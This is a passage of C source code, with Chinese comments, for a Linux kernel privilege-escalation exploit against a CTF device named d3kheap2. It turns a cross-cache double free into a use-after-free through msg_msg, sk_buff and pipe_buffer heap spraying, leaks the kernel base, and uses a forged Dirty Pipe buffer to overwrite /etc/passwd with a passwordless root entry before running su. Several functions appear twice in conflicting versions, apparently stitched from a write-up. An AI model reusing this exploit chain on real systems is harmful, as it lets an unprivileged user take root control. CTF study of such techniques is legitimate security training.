        if (i == victim_sock_idx) continue;
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            skb_read(i, skb_data, sizeof(skb_data));
        }
    }

    // 2. 堆喷msg_msg填充释放的内存空洞
    memset(&msg_data, 0, sizeof(msg_data));
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
        // ... 设置消息内容
        write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE);
    }

    // 3. 释放目标套接字的sk_buff
    for (int j = 0; j < SK_BUFF_NUM; j++) {
        skb_read(victim_sock_idx, skb_data, sizeof(skb_data));
    }
}

void forge_pipe_buf(void) {
    // 1. 构造伪造的pipe_buffer结构
    fake_pipe_buf.page = victim_pipe_buf.page;
    fake_pipe_buf.offset = 0;
    fake_pipe_buf.len = 0;
    // flags字段将在内存布局中设置为0x10

    // 2. 准备sk_buff数据
    memcpy(skb_data, &fake_pipe_buf, sizeof(fake_pipe_buf));  // 复制0x28字节
    memcpy((char *)skb_data + sizeof(fake_pipe_buf),
           &fake_pipe_buf, sizeof(fake_pipe_buf));  // 再次复制0x28字节

    // 3. 堆喷伪造的pipe_buffer
    skb_spray(skb_data, sizeof(skb_data));
}

// pipe_buffer结构体布局 (0x28字节/40字节):
/* offset      |    size */  type = struct pipe_buffer {
/* 0x0000      |  0x0008 */    struct page *page;
/* 0x0008      |  0x0004 */    unsigned int offset;
/* 0x000c      |  0x0004 */    unsigned int len;
/* 0x0010      |  0x0008 */    const struct pipe_buf_operations *ops;
/* 0x0018      |  0x0004 */    unsigned int flags;
/* XXX  4-byte hole      */
/* 0x0020      |  0x0008 */    unsigned long private;

                               /* total size (bytes):   40 */
                             }
/*
flags字段的位含义:
bit4 (0x10): PIPE_BUF_FLAG_CAN_MERGE
   允许对管道缓冲区进行写入，即使底层页面是只读的
   这是实现Dirty Pipe的关键标志
 */

void trigger_dirty_pipe(void) {
    // 触发Dirty Pipe漏洞
    write(pipe_fds[victim_pipe_idx][1], evil_data, strlen(evil_data));
}

void cleanup_and_get_root(void) {
    // 1. 关闭文件描述符
    close(dev_fd);
    close(victim_fd);

    // 2. 清理sk_buff资源
    skb_cleanup();

    // 3. 删除消息队列
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        msgctl(msqid[i], IPC_RMID, NULL);
    }

    // 4. 尝试权限获取
    system("su -c 'cat /root/flag' && su");
}

#define PAGE_CACHE_PIPE_BUF_OPS 0xffffffff824290b0
#define ANON_PIPE_BUF_OPS       0xffffffff824276c8

#define CHUNK_SPRAY_COUNT   0x100
#define FIRST_MSG_TYPE      0x41
#define SECOND_MSG_TYPE     0x42
#define FIRST_MSG_SIZE      (0x1000 - sizeof(struct msg_msg))
#define SECOND_MSG_SIZE     (0x1000 - sizeof(struct msg_msg) + 0x800 - sizeof(struct msg_msgseg))
#define MSG_QUEUE_NUM       0x1000
#define SOCKET_NUM          64
#define SK_BUFF_NUM         1
#define MAX_PIPE_COUNT      0xf0

struct {
    long mtype;
    char mtext[FIRST_MSG_SIZE];
} first_msg_data;

struct {
    long mtype;
    char mtext[SECOND_MSG_SIZE];
} second_msg_data;

int dev_fd;                                 // File descriptor for vulnerable device
int victim_fd;                              // File descriptor for /etc/passwd
int msqid[MSG_QUEUE_NUM];                   // Message queue IDs
int pipe_fds[MAX_PIPE_COUNT][2];            // Pipe file descriptors
size_t pipe_data[0x1000 / 8] = {0};         // Pipe data
char skb_data[2048 - 320] = {0};            // sk_buff data
int victim_qid = -1;                        // Victim message queue ID
int overlap_qid = -1;                       // Overlapping message queue ID
int victim_sock_idx = -1;                   // Victim socket index
int victim_pipe_idx = -1;                   // Victim pipe index
size_t *fake_msg = NULL;                    // Fake message pointer
size_t *leak_data = NULL;                   // Leaked kernel data
struct pipe_buffer victim_pipe_buf = {0};   // Corrupted pipe buffer
char evil_data[] = "root::0:0:root:/root:/bin/sh\n";

/* =============================================================== *
 *  Device Control Macros
 * =============================================================== */
#define OBJ_ADD  0x3361626e
#define OBJ_DEL  0x74747261
#define OBJ_EDIT 0x54433344
#define OBJ_SHOW 0x4e575046

struct d3kheap2_ureq {
    size_t idx;  // Object index
};

/* =============================================================== *
 *  Device Operation Wrappers
 * =============================================================== */

/**
 * add_chunk - Add kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function adds a kernel object at the specified index by calling the
 * device's ADD ioctl command. Used for initial heap spraying.
 */
int add_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_ADD, &ureq);
}

/**
 * delete_chunk - Delete kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function deletes a kernel object at the specified index by calling the
 * device's DELETE ioctl command. Used to free objects and trigger UAF.
 */
int delete_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_DEL, &ureq);
}

/**
 * edit_chunk - Edit kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function edits a kernel object at the specified index by calling the
 * device's EDIT ioctl command. Not used in current exploit.
 */
int edit_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_EDIT, &ureq);
}

/**
 * show_chunk - Show kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function shows a kernel object at the specified index by calling the
 * device's SHOW ioctl command. Not used in current exploit.
 */
int show_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_SHOW, &ureq);
}

/**
 * create_pipe_pair - Create a pipe pair for heap spraying
 * @pipe_idx: Index in pipe_fds array
 *
 * Creates a pipe and stores read/write ends in global array.
 */
void create_pipe_pair(int pipe_idx) {
    if (pipe(pipe_fds[pipe_idx]) < 0) {
        log.error("Pipe creation failed at index %d", pipe_idx);
        exit(EXIT_FAILURE);
    }
}

/**
 * resize_pipe_buffer - Resize pipe buffer capacity
 * @pipe_idx: Index in pipe_fds array
 * @new_size: New buffer size in bytes
 *
 * Adjusts pipe buffer size to control allocation in specific slab caches.
 */
void resize_pipe_buffer(int pipe_idx, int new_size) {
    if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
        log.error("Pipe resize failed for pipe %d", pipe_idx);
        exit(EXIT_FAILURE);
    }
}

/**
 * setup_environment - Setup exploitation environment
 *
 * This function prepares the exploitation environment by increasing file
 * descriptor limits, binding to CPU core 0 for stability, and opening the
 * vulnerable device and target file (/etc/passwd). This establishes the
 * foundation for all subsequent operations.
 */
void setup_environment(void) {
    struct rlimit rl = {0};

    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT SETUP                                 ");
    log.info("===========================================================");

    // Increase file descriptor limit for spraying
    rl.rlim_cur = 4096;
    rl.rlim_max = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rl) == -1) {
        log.error("Failed to expand file descriptor limit!");
        exit(EXIT_FAILURE);
    }
    log.info("File descriptor limit expanded to 4096");

    // Bind to CPU core 0 for stability
    bind_core(0);

    // Open vulnerable device
    dev_fd = open("/proc/d3kheap2", O_RDWR);
    if (dev_fd < 0) {
        log.error("Failed to open /proc/d3kheap2!");
        exit(EXIT_FAILURE);
    }
    log.info("Opened vulnerable device at fd: %d", dev_fd);

    // Open target file (/etc/passwd)
    victim_fd = open("/etc/passwd", O_RDONLY);
    if (victim_fd < 0) {
        log.error("Failed to open /etc/passwd!");
        exit(EXIT_FAILURE);
    }
    log.info("Opened target file /etc/passwd at fd: %d", victim_fd);

    log.success("Environment setup completed successfully");
}

/**
 * prepare_heap_layout - Prepare heap layout for exploitation
 *
 * This function prepares the heap layout by:
 * 1. Creating pipe buffers for information leak
 * 2. Creating message queues for heap control
 * 3. Initializing SKB sprayer for UAF exploitation
 *
 * This consolidated setup phase ensures all heap manipulation objects
 * are ready before triggering the vulnerability.
 */
void prepare_heap_layout(void) {
    log.info("===========================================================");
    log.info("PHASE 2: HEAP LAYOUT PREPARATION                          ");
    log.info("===========================================================");

    /* ============================================================== *
     *  Step 2.1: Pipe Buffer Preparation
     * ============================================================== */
    log.info("Creating %d pipe pairs for heap spraying...", MAX_PIPE_COUNT);
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        create_pipe_pair(i);
    }
    log.success("Created %d pipe pairs", MAX_PIPE_COUNT);

    log.info("Splicing /etc/passwd data into pipe buffers...");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        off_t offset = 0;
        if (splice(victim_fd, &offset, pipe_fds[i][1], NULL, 0x1000, 0) < 0) {
            log.error("Failed to splice to pipe %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Populated pipe buffers with file data");

    log.info("Starting partial data reads to generate pipe fingerprint...");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        read(pipe_fds[i][0], pipe_data, i);
    }
    log.success("Pipe fingerprinting complete, ready for index resolution");

    /* ============================================================== *
     *  Step 2.2: Message Queue Preparation
     * ============================================================== */
    log.info("Creating %d message queues...", MSG_QUEUE_NUM);
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
            log.error("Failed to create msg_queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Created %d message queues", MSG_QUEUE_NUM);

    log.info("Sending first messages (kmalloc-4k) to all queues...");
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (write_msg(msqid[i], &first_msg_data,
                     sizeof(first_msg_data), FIRST_MSG_TYPE) < 0) {
            log.error("Failed to send first msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("All queues populated with initial messages");

    /* ============================================================== *
     *  Step 2.3: SKB Sprayer Initialization
     * ============================================================== */
    log.info("Initializing SKB sprayer with %d sockets...", SOCKET_NUM);
    if (skb_spray_init(SOCKET_NUM, SK_BUFF_NUM) < 0) {
        log.error("Failed to initialize SKB sprayer");
        exit(EXIT_FAILURE);
    }
    log.success("SKB sprayer initialized successfully");

    log.success("Heap layout preparation completed successfully");
}

/**
 * trigger_cross_cache_double_free - Trigger cross-cache double free
 *
 * Performs the core vulnerability trigger: allocates and frees chunks
 * in a pattern that creates a cross-cache double free condition. This
 * corrupts the heap and enables further exploitation.
 */
void trigger_cross_cache_double_free(void) {
    log.info("===========================================================");
    log.info("PHASE 3: CROSS-CACHE DOUBLE FREE TRIGGER                   ");
    log.info("===========================================================");

    log.info("Allocating %d driver chunks (kmalloc-2k)...", CHUNK_SPRAY_COUNT);
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (add_chunk(i) < 0) {
            log.error("Failed to allocate chunk %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Allocated %d driver chunks", CHUNK_SPRAY_COUNT);

    log.info("Freeing driver chunks (first free)...");
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (delete_chunk(i) < 0) {
            log.error("Failed to free chunk %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Freed all driver chunks (first free)");

    log.info("Freeing first half of messages and preparing second messages...");
    memset(&second_msg_data, 0, sizeof(second_msg_data));
    for (int i = 0; i < MSG_QUEUE_NUM / 2; i++) {
        read_msg(msqid[i], &first_msg_data, sizeof(first_msg_data), FIRST_MSG_TYPE);
        fake_msg = (size_t *)&second_msg_data.mtext[FIRST_MSG_SIZE];
        fake_msg[0] = *(size_t *)"BinRacer";
        fake_msg[1] = i;
        fake_msg[2] = *(size_t *)"BinRacer";
        if (write_msg(msqid[i], &second_msg_data,
                     sizeof(second_msg_data), SECOND_MSG_TYPE) < 0) {
            log.error("Failed to send second msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Prepared second messages for first %d queues", MSG_QUEUE_NUM / 2);

    log.info("Freeing driver chunks again (second free - double free)...");
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (delete_chunk(i) < 0) {
            log.error("Failed to free chunk %d (second time)", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Triggered cross-cache double free");

    log.info("Preparing second messages for remaining queues...");
    for (int i = MSG_QUEUE_NUM / 2; i < MSG_QUEUE_NUM; i++) {
        fake_msg = (size_t *)&second_msg_data.mtext[FIRST_MSG_SIZE];
        fake_msg[0] = *(size_t *)"BinRacer";
        fake_msg[1] = i;
        fake_msg[2] = *(size_t *)"BinRacer";
        if (write_msg(msqid[i], &second_msg_data,
                     sizeof(second_msg_data), SECOND_MSG_TYPE) < 0) {
            log.error("Failed to send second msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Prepared second messages for remaining %d queues", MSG_QUEUE_NUM / 2);
    log.success("Cross-cache double free triggered successfully");
}

/**
 * find_corrupted_message_queue - Find corrupted message queue
 *
 * Scans all message queues to find the one corrupted by the double free.
 * The corrupted queue will have incorrect message metadata revealing
 * a heap overlap condition.
 *
 * Returns: 0 on success, -1 on failure
 */
int find_corrupted_message_queue(void) {
    log.info("===========================================================");
    log.info("PHASE 4: FIND CORRUPTED MESSAGE QUEUE                      ");
    log.info("===========================================================");

    log.info("Scanning %d message queues for corruption...", MSG_QUEUE_NUM);
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (peek_msg(msqid[i], &second_msg_data, sizeof(second_msg_data), 0) < 0) {
            continue;
        }
        leak_data = (size_t *)&second_msg_data.mtext[FIRST_MSG_SIZE];

        if (leak_data[1] != i) {
            victim_qid = i;
            overlap_qid = leak_data[1];

            log.success("Found corrupted message queue!");
            log.success("Victim queue ID: %d", victim_qid);
            log.success("Overlap queue ID: %d", overlap_qid);

            hex_dump2("Corrupted message data (first 0x30 bytes):", leak_data, 0x30);
            return 0;
        }
    }

    log.error("No message queue corruption detected!");
    log.error("Cross-cache double free failed to achieve heap overlap");
    return -1;
}

/**
 * convert_to_uaf - Convert double free to UAF primitive
 *
 * Frees the corrupted message to create a use-after-free condition,
 * then sprays objects to gain control over the freed memory. This
 * transitions from information leak to memory corruption.
 */
void convert_to_uaf(void) {
    log.info("===========================================================");
    log.info("PHASE 5: CONVERT TO USE-AFTER-FREE                        ");
    log.info("===========================================================");

    log.info("Freeing victim message to create UAF on kmalloc-2k...");
    if (read_msg(msqid[victim_qid], &second_msg_data,
                sizeof(second_msg_data), SECOND_MSG_TYPE) < 0) {
        log.error("Failed to read victim message");
        exit(EXIT_FAILURE);
    }
    log.success("Freed victim message (kmalloc-2k)");

    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (i == victim_qid || i == overlap_qid) {
            continue;
        }
        if (write_msg(msqid[i], &first_msg_data,
                     sizeof(first_msg_data), FIRST_MSG_TYPE) < 0) {
            log.error("Failed to send first msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
        break;
    }

    log.info("Spraying SKBs to occupy freed kmalloc-2k chunk...");
    memset(skb_data, 0, sizeof(skb_data));
    if (skb_spray(skb_data, sizeof(skb_data)) < 0) {
        log.error("Failed to spray SKBs");
        exit(EXIT_FAILURE);
    }
    log.success("Sprayed %d SKBs to occupy freed memory", SOCKET_NUM * SK_BUFF_NUM);

    log.info("Freeing overlap queue messages to create space for pipes...");
    if (read_msg(msqid[overlap_qid], &second_msg_data,
                sizeof(second_msg_data), SECOND_MSG_TYPE) < 0) {
        log.error("Failed to read second overlap message");
        exit(EXIT_FAILURE);
    }
    log.success("Freed overlap queue messages");

    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (i == victim_qid || i == overlap_qid) {
            continue;
        }
        if (write_msg(msqid[i], &first_msg_data,
                     sizeof(first_msg_data), FIRST_MSG_TYPE) < 0) {
            log.error("Failed to send first msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
        break;
    }

    log.info("Resizing pipe buffers to occupy freed kmalloc-2k chunks...");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        resize_pipe_buffer(i, 0x1000 * 32);
    }
    log.success("Resized %d pipe buffers", MAX_PIPE_COUNT);

    log.success("Successfully converted double free to UAF primitive");
}

/**
 * find_corrupted_pipe - Find pipe corrupted by UAF
 *
 * Scans all SKB buffers to find the one that now contains a pipe_buffer
 * structure. This provides kernel pointer leaks and confirms successful
 * memory corruption.
 *
 * Returns: 0 on success, -1 on failure
 */
int find_corrupted_pipe(void) {
    log.info("===========================================================");
    log.info("PHASE 6: LOCATE CORRUPTED PIPE BUFFER                      ");
    log.info("===========================================================");

    log.info("Scanning %d sockets for corrupted pipe_buffer...", SOCKET_NUM);
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (skb_peek(i, skb_data, sizeof(skb_data)) < 0) {
                continue;
            }

            memcpy(&victim_pipe_buf, skb_data, sizeof(struct pipe_buffer));

            if (victim_pipe_buf.page > vmemmap_base &&
                victim_pipe_buf.ops > kernel_base) {
                victim_sock_idx = i;
                victim_pipe_idx = victim_pipe_buf.offset;
                kernel_offset = victim_pipe_buf.ops - PAGE_CACHE_PIPE_BUF_OPS;
                kernel_base += kernel_offset;

                log.success("Found corrupted pipe buffer in SKB!");
                log.success("Victim socket index: %d", victim_sock_idx);
                log.success("Victim pipe index: %d", victim_pipe_idx);
                log.success("Leaked page pointer: 0x%lx", victim_pipe_buf.page);
                log.success("Leaked ops pointer: 0x%lx", victim_pipe_buf.ops);
                log.success("Kernel offset: 0x%lx", kernel_offset);
                log.success("Kernel base: 0x%lx", kernel_base);

                hex_dump2("Corrupted pipe_buffer in SKB:", skb_data, 0x30);
                return 0;
            }
        }
    }

    log.error("No corrupted pipe buffer found in SKB data!");
    log.error("UAF primitive may have failed or heap layout changed");
    return -1;
}

/**
 * trigger_dirty_pipe - Trigger Dirty Pipe vulnerability
 *
 * Replaces the corrupted pipe_buffer's ops pointer to point to anonymous
 * pipe operations, then writes to the pipe to trigger Dirty Pipe and
 * overwrite the page cache containing /etc/passwd.
 */
void trigger_dirty_pipe(void) {
    log.info("===========================================================");
    log.info("PHASE 7: TRIGGER DIRTY PIPE VULNERABILITY                 ");
    log.info("===========================================================");

    log.info("Freeing victim SKB to release pipe_buffer...");
    for (int j = 0; j < SK_BUFF_NUM; j++) {
        if (skb_read(victim_sock_idx, skb_data, sizeof(skb_data)) < 0) {
            log.error("Failed to read from victim SKB");
            exit(EXIT_FAILURE);
        }
    }
    log.success("Freed victim SKB, pipe_buffer now free for modification");

    log.info("Preparing malicious pipe_buffer for Dirty Pipe...");
    victim_pipe_buf.offset = 0;
    victim_pipe_buf.len = 0;
    victim_pipe_buf.ops = kernel_offset + ANON_PIPE_BUF_OPS;
    victim_pipe_buf.flags = 0x10;  // PIPE_BUF_FLAG_CAN_MERGE flag

    memcpy(skb_data, &victim_pipe_buf, sizeof(struct pipe_buffer));
    hex_dump2("Malicious pipe_buffer to spray:", skb_data, sizeof(struct pipe_buffer) + 0x8);

    log.info("Spraying malicious pipe_buffer to reclaim freed memory...");
    if (skb_spray(skb_data, sizeof(skb_data)) < 0) {
        log.error("Failed to spray malicious pipe_buffer");
        exit(EXIT_FAILURE);
    }
    log.success("Sprayed malicious pipe_buffer with anonymous pipe ops");

    log.info("Triggering Dirty Pipe by writing to corrupted pipe...");
    log.info("Writing evil data to overwrite /etc/passwd in page cache...");
    if (write(pipe_fds[victim_pipe_idx][1], evil_data, sizeof(evil_data)) < 0) {
        log.error("Failed to write to corrupted pipe");
        exit(EXIT_FAILURE);
    }

    log.success("Dirty Pipe triggered successfully!");
}

/**
 * escalate_privileges - Escalate to root privileges
 *
 * Triggers privilege escalation by executing su command. The modified
 * /etc/passwd file allows root access without password.
 */
void escalate_privileges(void) {
    log.info("===========================================================");
    log.info("PHASE 8: PRIVILEGE ESCALATION                              ");
    log.info("===========================================================");

    log.info("Attempting privilege escalation...");
    log.info("Modified /etc/passwd should allow root access without password");

    system("su -c 'cat /root/flag' && su");

    log.info("===========================================================");
    log.info("EXPLOIT COMPLETED SUCCESSFULLY                            ");
    log.info("===========================================================");
}

int main(int argc, char **argv, char **envp) {
    log.info("===========================================================");
    log.info("D3KHEAP2 EXPLOIT - CROSS-CACHE DOUBLE FREE TO DIRTY PIPE   ");
    log.info("===========================================================");

    setup_environment();
    prepare_heap_layout();
    trigger_cross_cache_double_free();

    if (find_corrupted_message_queue() < 0) {
        log.error("Failed to find corrupted message queue");
        exit(EXIT_FAILURE);
    }

    convert_to_uaf();

    if (find_corrupted_pipe() < 0) {
        log.error("Failed to find corrupted pipe buffer");
        exit(EXIT_FAILURE);
    }

    trigger_dirty_pipe();
    escalate_privileges();
    return 0;
}

void setup_environment(void) {
    struct rlimit rl = {0};

    // 提高文件描述符限制，为大规模资源分配创造条件
    rl.rlim_cur = 4096;
    rl.rlim_max = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rl) == -1) {
        log.error("Failed to expand file descriptor limit!");
        exit(EXIT_FAILURE);
    }

    // CPU核心绑定，优化内存访问模式和时序控制
    bind_core(0);

    // 打开漏洞设备接口
    dev_fd = open("/proc/d3kheap2", O_RDWR);

    // 打开目标文件用于后续操作
    victim_fd = open("/etc/passwd", O_RDONLY);
}

void prepare_heap_layout(void) {
    // 1. 管道子系统初始化
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        create_pipe_pair(i);
    }

    // 2. 消息队列子系统初始化
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    }

    // 3. 网络子系统初始化
    skb_spray_init(SOCKET_NUM, SK_BUFF_NUM);
}

for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    off_t offset = 0;
    splice(victim_fd, &offset, pipe_fds[i][1], NULL, 0x1000, 0);
    read(pipe_fds[i][0], pipe_data, i);  // 创建唯一偏移量
}

void trigger_cross_cache_double_free(void) {
    // 1. 堆喷d3kheap2对象
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        add_chunk(i);
    }

    // 2. 第一次释放，创建内存空洞
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        delete_chunk(i);
    }

    // 3. 释放前半部分消息队列，优化内存布局
    for (int i = 0; i < MSG_QUEUE_NUM / 2; i++) {
        read_msg(msqid[i], &first_msg_data, sizeof(first_msg_data), FIRST_MSG_TYPE);
        // 发送复合消息
        write_msg(msqid[i], &second_msg_data, sizeof(second_msg_data), SECOND_MSG_TYPE);
    }

    // 4. 触发双重释放
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        delete_chunk(i);  // 第二次释放
    }

    // 5. 发送剩余复合消息
    for (int i = MSG_QUEUE_NUM / 2; i < MSG_QUEUE_NUM; i++) {
        write_msg(msqid[i], &second_msg_data, sizeof(second_msg_data), SECOND_MSG_TYPE);
    }
}

int find_corrupted_message_queue(void) {
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (peek_msg(msqid[i], &second_msg_data, sizeof(second_msg_data), 0) < 0) {
            continue;
        }

        leak_data = (size_t *)&second_msg_data.mtext[FIRST_MSG_SIZE];

        // 检测异常：消息索引不匹配
        if (leak_data[1] != i) {
            victim_qid = i;
            overlap_qid = leak_data[1];

            log.success("Found corrupted message queue!");
            log.success("Victim queue ID: %d", victim_qid);
            log.success("Overlap queue ID: %d", overlap_qid);

            hex_dump2("Corrupted message data:", leak_data, 0x30);
            return 0;
        }
    }

    return -1;
}

void convert_to_uaf(void) {
    // 1. 释放受害者消息，创建UAF条件
    read_msg(msqid[victim_qid], &second_msg_data, sizeof(second_msg_data), SECOND_MSG_TYPE);

    // 2. 发送新消息填充部分空洞
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (i == victim_qid || i == overlap_qid) continue;
        write_msg(msqid[i], &first_msg_data, sizeof(first_msg_data), FIRST_MSG_TYPE);
        break;
    }

    // 3. 堆喷sk_buff占用释放的内存
    skb_spray(skb_data, sizeof(skb_data));

    // 4. 释放重叠队列消息
    read_msg(msqid[overlap_qid], &second_msg_data, sizeof(second_msg_data), SECOND_MSG_TYPE);

    // 5. 发送另一个消息优化布局
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (i == victim_qid || i == overlap_qid) continue;
        write_msg(msqid[i], &first_msg_data, sizeof(first_msg_data), FIRST_MSG_TYPE);
        break;
    }

    // 6. 调整管道缓冲区大小
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        resize_pipe_buffer(i, 0x1000 * 32);
    }
}